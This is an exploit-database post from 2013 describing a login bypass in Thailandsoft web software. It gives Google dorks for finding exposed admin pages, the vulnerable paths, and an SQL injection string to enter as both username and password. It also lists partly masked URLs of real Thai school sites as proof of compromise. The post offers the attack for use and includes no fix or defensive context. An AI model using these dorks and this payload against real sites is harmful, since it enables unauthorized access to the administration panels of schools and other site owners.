Home / exploitsPDF  

Thailandsoft Login page Bypass Vulnerability

Posted on 14 October 2013

#******************************************************************************** # Exploit Title : Thailandsoft Login page Bypass Vulnerability # # Exploit Author : Ashiyane Digital Security Team # # Software Link : Thailandsoft.com # # Tested on: Windows 7 , Linux # # Google Dork : intext:"สำหรับเจ้าหน้าที่" inurl:admin.php # # Google Dork 2 : intext:"สำหรับเจ้าหน้าที่" inurl:v2/admin.php # Google Dork 3: intext:"เว็บไซต์โดย Thailandsoft.com" # # Date: 2013/10/12 # -------------------------------------------------------------------- # Exploit : Login page bypass # # Location : [Target]/v2/admin.php Location 2 : [Target]/admin.php # # Username : '=' 'or' # # Password : '=' 'or' ###################### # Proof: # # http://www.kuXmas.ac.th/v2/admin.php # # http://www.manXya.ac.th/v2/main.php # # http://www.raXpun.ac.th/v2/admin.php # # http://www.sangXee.ac.th/v2/admin.php # # http://www.raXma.ac.th/v2/admin.php # ###################### Milad Hacking We Love Mohammad ######################

 

TOP